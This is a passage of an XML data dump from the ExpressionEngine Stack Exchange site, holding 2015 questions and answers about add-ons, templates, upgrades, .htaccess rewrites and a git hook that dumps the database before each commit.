&lt;a href=&quot;http://amphibian.info/software/ee/escort#hooks&quot; rel=&quot;nofollow&quot;&gt;escort_pre_send&lt;/a&gt; extension hook). E.g.,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function escort_pre_send($service, $data)&#xA;{&#xA;    if($service == 'mandrill')&#xA;    {&#xA;        $data['headers']['foo'] = 'bar';&#xA;    }&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-04-28T11:38:46.313" LastActivityDate="2015-04-28T11:38:46.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31103" PostTypeId="2" ParentId="31095" CreationDate="2015-04-20T08:37:15.757" Score="0" Body="&lt;p&gt;The first message would kind of cause the following 2. The first error also implicates APC (Advanced PHP Cache).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would disable APC for the time being to see if you can bring the MSM site back up. If this works then I would guess there's some sort of EE Config / Cache conflict.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't hazard an exact resolution as I haven't worked with MSM for quite an while, and while I have used APC and MSM, never together (a quick search for MSM &amp;amp; APC doesn't yield much). But I hope this at least helps you test and narrow down the issue!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, MSM is an EllisLabs product, perhaps they'll give you a bit of support on this?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-04-20T08:37:15.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31104" PostTypeId="2" ParentId="27168" CreationDate="2015-04-20T08:46:29.547" Score="0" Body="&lt;p&gt;The answer is to use this parameter in your tag pair:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;transcribe=&quot;disable&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2015-04-20T08:46:29.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31105" PostTypeId="1" CreationDate="2015-04-20T11:19:34.753" Score="0" ViewCount="30" Body="&lt;p&gt;I noticed that a single order shows up repeated six times in the CT order manager. Anyone know what could cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The orders are all for the same user and all the order items are identical. The order manager id's are the same (181) but the entry id's, the ones in parentheses, are different. This site uses off-line processing for all purchases. All code is up-to-date&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the troubleshooting section of the CT docs there is a paragraph that states: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If multiple orders are being logged for one order, this is generally &gt;normal. CartThrob creates an order for each attempted order. It updates &gt;statuses of completed orders to the status you've set in cartthrob &gt;settings » orders. If you want to be able to distinguish between &gt;completed and failed orders, make sure to configure statuses for orders.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If this is the reason, what is the cause? Is the user doing something  strange or is the server hiccuping? soothing else?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-04-20T11:19:34.753" Title="Order duplicated six times in CT order manager" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31106" PostTypeId="1" CreationDate="2015-04-20T11:21:43.847" Score="2" ViewCount="410" Body="&lt;p&gt;Hi there I am having issues upgrading from v2.5.3 to v2.9.3 the wizard starts fine and goes from 2.5.3 to 2.6.0, then moves onto the next step 2.7.0, but at this point I the server times out and I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Internal Server Error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server encountered an internal error or misconfiguration and was unable to complete your request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please contact the server administrator, [no address given] and inform them of the time the error occurred, and anything you might have done that may have caused the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information about this error may be available in the server error log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have upgraded EE many times before, but not across the relationship change (from &amp;lt;2.6.0 to &gt;2.7.0)... is this the issue? Surely it must be possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My install runs MSM and has Assets, Matrix and Playa installed along with some other add-ons. (all upgraded to the latest version) before running the wizard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edd&lt;/p&gt;&#xA;" OwnerUserId="6239" LastActivityDate="2015-06-21T07:47:06.557" Title="Issues Upgrading from 2.5.3 to 2.9.3" Tags="|upgrade|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31108" PostTypeId="1" AcceptedAnswerId="31109" CreationDate="2015-04-20T13:39:05.320" Score="0" ViewCount="45" Body="&lt;p&gt;I am not able to add more than 99 rows in my matrix field though I have already set Maximum rows to 1000, not sure whats happening.&#xA; Is it a &lt;strong&gt;BUG&lt;/strong&gt; or &lt;strong&gt;LIMIT&lt;/strong&gt; of matrix field type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version : 2.6.1&#xA;Matrix version : 2.5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note : Its an old project so cant take risk of upgrading EE or matrix&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2015-04-20T13:46:12.597" Title="Not able to add matrix rows after 99 rows" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31109" PostTypeId="2" ParentId="31108" CreationDate="2015-04-20T13:46:12.597" Score="0" Body="&lt;p&gt;Matrix doesn’t have any built-in limits, but PHP has a configurable limit on how many values that it will check in POST (&lt;a href=&quot;http://php.net/manual/en/info.configuration.php#ini.max-input-vars&quot; rel=&quot;nofollow&quot;&gt;max_input_vars&lt;/a&gt;). Try adjusting that.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2015-04-20T13:46:12.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31110" PostTypeId="1" AcceptedAnswerId="31117" CreationDate="2015-04-20T14:58:53.500" Score="0" ViewCount="154" Body="&lt;p&gt;I'm new to Exp-resso store. According to the docs; I can view an order through its order hash as per below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders order_hash=&quot;xxxx&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I retrieve the order hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Referring to this answer: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24045/printing-order-summary-in-expresso-store&quot;&gt;Printing Order Summary in Expresso Store&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that order hash only available via success page? Is there a way I can retrieve it for later viewing; ala url_title or entry_id?&lt;/p&gt;&#xA;" OwnerUserId="2671" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-04-20T18:01:35.160" Title="Where to view order hash?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31111" PostTypeId="2" ParentId="31110" CreationDate="2015-04-20T15:31:35.803" Score="1" Body="&lt;p&gt;Yes, you can have a listing of orders by the logged user using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id=&quot;CURRENT_USER&quot;}&#xA;  &amp;lt;a href=&quot;{path='/order/{order_id}'}&quot;&amp;gt; view order &amp;lt;/a&amp;gt;&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on that template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:store:orders order_id=&quot;{segment_2}&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1139" LastActivityDate="2015-04-20T15:31:35.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31112" PostTypeId="2" ParentId="387" CreationDate="2015-04-20T15:45:11.887" Score="2" Body="&lt;p&gt;Besides all the other answers, I like to add a git &quot;hook&quot; that would do a database dump into a directory inside my repo, then perform a &quot;git add&quot;, every time I do a commit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can achieve this by creating a file named &quot;pre-commit&quot; inside .git/hooks/ and making executable (not sure how to do that on windows machines).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my mac (using MAMP) I have the following bash script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;DBUSER=&quot;root&quot;&#xA;DBPASS=&quot;root&quot;&#xA;DB=&quot;db_name&quot;&#xA;SCHEMAPATH=&quot;DBSchema&quot;&#xA;&#xA;/Applications/MAMP/Library/bin/mysqldump -u $DBUSER -p$DBPASS $DB &amp;gt; $SCHEMAPATH/$DB.sql&#xA;git add $SCHEMAPATH/$DB.sql&#xA;exit 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, every time I issue a commit, git will run a mysqldump of the DB and stage it before committing. I use this in all my EE projects.&lt;/p&gt;&#xA;" OwnerUserId="1139" LastActivityDate="2015-04-20T15:45:11.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31115" PostTypeId="2" ParentId="30651" CreationDate="2015-04-20T17:26:40.187" Score="2" Body="&lt;p&gt;If it's two plugin tags that you are needing to nest, see &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;changing parse order&lt;/a&gt; for nested tags using the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-04-20T17:26:40.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31117" PostTypeId="2" ParentId="31110" CreationDate="2015-04-20T18:01:35.160" Score="1" Body="&lt;p&gt;There are a few ways to get access to the &lt;code&gt;{order_hash}&lt;/code&gt; tag, the most common way that you would probably see it is a  result of placing a successful order. This would be achieved by adding &lt;code&gt;return=&quot;order/ORDER_HASH&quot;&lt;/code&gt; to the final checkout tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next way you can access the order_hash is in your receipt templates that will get sent out to customers on a completed order. You will want to use the &lt;code&gt;{exp:store:orders}&lt;/code&gt; tag pair in your receipt templates to get all of the relative order details and this would allow you to create a link to the particular hash (this assumes you have a template group called orders and the template is looking for the hash in the segment_2. You may need to adjust to your site.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders}&#xA; Order ID: {order_id}&#xA; View Invoice: {path=&quot;orders/{order_hash}&quot;}&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other way you can access the order_hash was touched on by Rodrigo in his answer but you should be able to use the &lt;code&gt;{order_hash}&lt;/code&gt; tag even though it is not listed on the orders documentation page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id=&quot;CURRENT_USER&quot;}&quot;}&#xA; Order ID: {order_id}&amp;lt;br /&amp;gt;&#xA; &amp;lt;a href='{path=&quot;orders/{order_hash}&quot;}'&amp;gt;View Invoice&amp;lt;/a&amp;gt;&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The nice thing about using the order_hash over the order_id as has been mentioned is that it prevents a malicious user from being able to quickly guess other order numbers which might include sensitive information such as address or phone number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do decide to use order_id instead you should make sure that your template to show single orders also includes a conditional for the current member to prevent users from seeing other users orders.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id=&quot;CURRENT_USER&quot;}&quot; order_id=&quot;{segment_2}&quot;}&#xA; Order ID: {order_id}&amp;lt;br /&amp;gt;&#xA;{/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-04-20T18:01:35.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31118" PostTypeId="1" AcceptedAnswerId="31120" CreationDate="2015-04-20T18:21:45.157" Score="0" ViewCount="102" Body="&lt;p&gt;I am trying to allow a user the ability to select code snippets (widgets?) to show in a sidebar area on a page-by-page basis. These snippets could have plain old HTML code or could be EE channel entries loops. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I setup a Code Snippets channel with a single &quot;code_snippet&quot; textarea field (format NONE) where the code would be pasted in. Then in the Pages channel, I created a Playa field called &quot;page_sidebar_items&quot; that pulls from the Code Snippets channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my template, plain old HTML code will display correctly but EE channel entries tags (actually, I'm using a Low Events tag) will not. It will output the actual EE code on the page instead of parsing it first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell EE to parse that code before displaying it? I have tried placing &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; in a few different places with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;Pages&quot; disable=&quot;member_data|pagination|categories|category_fields&quot;}&#xA;    {exp:playa:children var=&quot;page_sidebar_items&quot;}&#xA;        {code_snippet}&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;Pages&quot; disable=&quot;member_data|pagination|categories|category_fields&quot;}&#xA;    {page_sidebar_items}&#xA;        {code_snippet}&#xA;    {/page_sidebar_items}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code Snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Upcoming Events&amp;lt;/h3&amp;gt;&#xA;{exp:low_events:entries channel=&quot;events&quot; show_future_entries=&quot;yes&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;&amp;lt;p&amp;gt;&amp;lt;span class=&quot;sidebar-event-date&quot;&amp;gt;{if '{event_dates:one_day}' == 'y'}{event_dates:start_date format=&quot;%F %j, %Y&quot;}&#xA;{if:else}&#xA;{if '{event_dates:start_date format=&quot;%F&quot;}' == '{event_dates:end_date format=&quot;%F&quot;}'}&#xA;{event_dates:start_date format=&quot;%F %j&quot;}-{event_dates:end_date format=&quot;%j, %Y&quot;}&#xA;{if:else}&#xA;{event_dates:start_date format=&quot;%F %j&quot;}-{event_dates:end_date format=&quot;%F %j, %Y&quot;}{/if}&#xA;{/if}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;span class=&quot;sidebar-event-host&quot;&amp;gt;{event_host}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;{event_city}, {event_state}&amp;lt;br /&amp;gt;&#xA;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;Details&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code snippet works fine if placed directly into my template, but does not work (HTML bits are fine but EE bits are not parsed) when pulled from the channel via Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Side Note:&lt;/strong&gt; I've also tried using Low Variables instead (code snippets live in LV and add a LV fieldtype to my Code Snippets channel) with pretty much the same results. If I could get that approach working, I would prefer that over code living in a channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Versions:&lt;/strong&gt; EE 2.9.2, Low Events 1.3.1, Structure 3.3.14.7, Playa 4.5.2, Low Variables 2.5.0&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2015-04-20T18:37:08.490" Title="Parsing code in a textarea field pulled in with Playa" Tags="|playa|parse-order|low-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31119" PostTypeId="1" AcceptedAnswerId="31147" CreationDate="2015-04-20T18:22:35.560" Score="0" ViewCount="43" Body="&lt;p&gt;I'm importing a JSON feed into entries in my EE site (v2.9.2) using Solspace Importer (v2.2.5).  Everything seemed to work fine - we've been using it in dev for weeks and have run many imports to update entries.  Unfortunately, we just noticed that the data that is being imported into Matrix fields isn't keeping it's organization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example node from the feed (I can't share the actual feed because it's sensitive data):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Scott-Stephanie-2015-03-18-20:48:17&quot;: {&#xA;        &quot;id&quot;: &quot;2242e4a8-b2b2-3ada-adf9&quot;,&#xA;        &quot;region&quot;: &quot;Southwest&quot;,&#xA;        &quot;text&quot;: &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&quot;,&#xA;        &quot;link&quot;: &quot;&quot;,&#xA;        &quot;video&quot;: &quot;&quot;,&#xA;        &quot;first_name1&quot;: &quot;Scott&quot;,&#xA;        &quot;first_name2&quot;: &quot;Stephanie&quot;,&#xA;        &quot;title&quot;: &quot;Our Family Profile&quot;,&#xA;        &quot;status&quot;: &quot;open&quot;,&#xA;        &quot;paragraphs&quot;: [{&#xA;            &quot;title&quot;: &quot;Paragraph 1&quot;,&#xA;            &quot;text&quot;: &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&quot;,&#xA;            &quot;link&quot;: &quot;https://www.example-image.com/image1.jpg&quot;&#xA;        }, {&#xA;            &quot;title&quot;: &quot;Paragraph 2&quot;,&#xA;            &quot;text&quot;: &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&quot;,&#xA;            &quot;link&quot;: &quot;https://www.example-image.com/image2.jpg&quot;&#xA;        }, {&#xA;            &quot;title&quot;: &quot;Paragraph 3&quot;,&#xA;            &quot;text&quot;: &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&quot;,&#xA;            &quot;link&quot;: &quot;&quot;&#xA;        }, {&#xA;            &quot;title&quot;: &quot;Paragraph 4&quot;,&#xA;            &quot;text&quot;: &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&quot;,&#xA;            &quot;link&quot;: &quot;&quot;&#xA;        }, {&#xA;            &quot;title&quot;: &quot;Paragraph 5&quot;,&#xA;            &quot;text&quot;: &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&quot;,&#xA;            &quot;link&quot;: &quot;https://www.example-image.com/image5.jpg&quot;&#xA;        }, {&#xA;            &quot;title&quot;: &quot;Paragraph 6&quot;,&#xA;            &quot;text&quot;: &quot;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&quot;,&#xA;            &quot;link&quot;: &quot;https://www.example-image.com/image6.jpg&quot;&#xA;        }]&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll see there is a node called &quot;paragraphs&quot; that has values for &quot;title&quot;, &quot;text&quot; and &quot;link&quot;, the &quot;link&quot; being an image to go along with the paragraph.  Unfortunately, there isn't always an image, so it may be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that Importer is ignoring the empty values and grabbing the next available node.  So, in the case of the example above, &quot;image5.jpg&quot; is getting placed in the Matrix row with &quot;Paragraph 3&quot; and &quot;image6.jpg&quot; is getting placed in the Matrix row with &quot;Paragraph 4&quot;.  The Matrix rows for paragraphs 5 &amp;amp; 6 will have empty &quot;link&quot; values in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of my Importer setup for the &quot;paragraphs&quot; node:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6Zr00.png&quot; alt=&quot;My &amp;#39;paragraphs&amp;#39; node setup for Importer&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of my Matrix settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zMboe.png&quot; alt=&quot;My Matrix row settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to keep it as simple as possible.  Any ideas what the issue is?&lt;/p&gt;&#xA;" OwnerUserId="1403" LastActivityDate="2015-04-22T08:22:00.300" Title="Solspace Importer - JSON to Matrix data getting mixed up" Tags="|solspace-importer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31120" PostTypeId="2" ParentId="31118" CreationDate="2015-04-20T18:37:08.490" Score="2" Body="&lt;p&gt;Wow! This looks so complex...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, try using this first party &lt;a href=&quot;https://github.com/EllisLab/Allow-Eecode&quot; rel=&quot;nofollow&quot;&gt;add-on&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;Pages&quot; disable=&quot;member_data|pagination|categories|category_fields&quot;}&#xA;  {exp:playa:children var=&quot;page_sidebar_items&quot; parse=&quot;inward&quot;}&#xA;    {exp:allow_eecode}&#xA;      {code_snippet}&#xA;    {/exp:allow_eecode}&#xA;  {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I confess that I never used it, but maybe it can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a good list of first party &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/#available-for-download&quot; rel=&quot;nofollow&quot;&gt;add-ons on EECMS user guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-04-20T18:37:08.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31121" PostTypeId="2" ParentId="31090" CreationDate="2015-04-20T19:16:28.927" Score="0" Body="&lt;p&gt;Your comment referring to CPanel and pointing the subdomain to the subfolder means that it's created as another virtual host type setup. Without control over the server, you can't have multiple virtual hosts setup for SSL on the same IP (unless utilising &lt;a href=&quot;https://www.digicert.com/ssl-support/apache-multiple-ssl-certificates-using-sni.htm&quot; rel=&quot;nofollow&quot;&gt;SNI&lt;/a&gt;). This isn't fully supported in browsers either, but would be fine for testing. Doubtful if your hosting provider would support it though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your initial description I had assumed that you had both domains pointing at the same location, but your htaccess rewrites the staging to use the subfolder - this may then work as the webroot for the SSL is the same. Hence the comment for the htaccess example. Otherwise there's no point in making it a subfolder - it could be anywhere on the server as the 2 are separate in your current setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you point the staging subdomain to the same folder as your main site and try out some of your original rewrites in the htaccess to deliver the subfolder on matching subdomain under the non-http, then if you can get that working, there's more chance of trying the https. But I don't think the &lt;a href=&quot;https://staging&quot; rel=&quot;nofollow&quot;&gt;https://staging&lt;/a&gt; subdomain will be identifiable in the httaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming it can work, this should be sufficient:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^staging\.&#xA;RewriteRule ^(.*)$ /staging/index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And under your main index rewrite you're already excluding the staging.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-04-20T20:39:14.713" LastActivityDate="2015-04-20T20:39:14.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31122" PostTypeId="2" ParentId="30994" CreationDate="2015-04-20T22:33:40.357" Score="0" Body="&lt;p&gt;Well... The reason I can think of is... Are the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/optimization/caching.html#caching-drivers&quot; rel=&quot;nofollow&quot;&gt;cache settings&lt;/a&gt; fine? Take a look at Control Panel &gt; Admin &gt; General Configuration &gt; Caching Driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case the cache driver being used is &lt;em&gt;file&lt;/em&gt;, check if the cache directory is writable. Its default location is &lt;code&gt;system/experessionengine/cache&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-04-20T22:33:40.357" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="31123" PostTypeId="1" AcceptedAnswerId="31135" CreationDate="2015-04-21T00:28:04.727" Score="0" ViewCount="109" Body="&lt;p&gt;My question is very similar to this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13250/getting-recipient-names-email-address-in-notification?rq=1&quot;&gt;Getting Recipient Names/email address in Notification&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I need to use a select field rather than checkboxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this but it doesn't work (I used &lt;code&gt;.change&lt;/code&gt; instead of &lt;code&gt;.click&lt;/code&gt; and &lt;code&gt;:selected&lt;/code&gt; instead of &lt;code&gt;:checked&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(function($){&#xA;    var $chosenRecipients   = $('[name=&quot;freeform_product&quot;]');&#xA;    var $recipientChecks    = $('[name^=&quot;the_product&quot;]');&#xA;&#xA;    $recipientChecks.change(function(){&#xA;        setTimeout(function(){&#xA;            $chosenRecipients.val('');&#xA;            var newVal = [];&#xA;            $('input[name^=&quot;the_product&quot;] option').each(function(){&#xA;                if ($(this).is(':selected'))&#xA;                {&#xA;                    newVal.push($(this).val());&#xA;                }&#xA;            });&#xA;            $chosenRecipients.val(newVal.join(', '));&#xA;        },0);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The relevant HTML/EE code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    collection=&quot;Contact Us&quot;&#xA;    form:id=&quot;contact_us&quot;&#xA;&#xA;    recipients=&quot;yes&quot;   &#xA;    recipient_template=&quot;contact_us_page&quot;&#xA;&#xA;    recipient1=&quot;name|email1@address.com&quot;  &#xA;    recipient2=&quot;name|email1@address.com&quot;  &#xA;    recipient3=&quot;name|email1@address.com&quot;  &#xA;    recipient4=&quot;name|email1@address.com&quot; &#xA;    recipient5=&quot;name|email1@address.com&quot;&#xA;}&#xA;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&quot; id=&quot;freeform_product&quot; name=&quot;freeform_product&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;the_product&quot; class=&quot;span6&quot;&amp;gt;Product&amp;lt;br&amp;gt;&#xA;&amp;lt;select name=&quot;the_product&quot; id=&quot;the_product&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;------Select------&amp;lt;/option&amp;gt;&#xA;    {freeform:recipients}&#xA;    &amp;lt;option value=&quot;{freeform:recipient_name}&quot;&amp;gt;{freeform:recipient_name}&amp;lt;/option&amp;gt;&#xA;    {/freeform:recipients}&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I've added a fiddle here: &lt;a href=&quot;http://jsfiddle.net/yL432nvc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsfiddle.net/yL432nvc/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-04-21T18:22:42.533" Title="How can I get the Freeform (free v.) Recipient Name value into a notification template?" Tags="|solspace-freeform|jquery|notification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31124" PostTypeId="1" CreationDate="2015-04-21T03:45:41.657" Score="1" ViewCount="135" Body="&lt;p&gt;Is it possible to setup a search form that searches both Members and Channel Entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to then show a single results page where i can show both the members and channel entries that come from the search request. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have Low Search and Solspace User.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible?&lt;/p&gt;&#xA;" OwnerUserId="1489" LastEditorUserId="1489" LastEditDate="2015-04-21T04:03:32.560" LastActivityDate="2016-06-04T08:46:21.017" Title="Search Members and Channel Entries at the same time?" Tags="|members|search|low-search|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
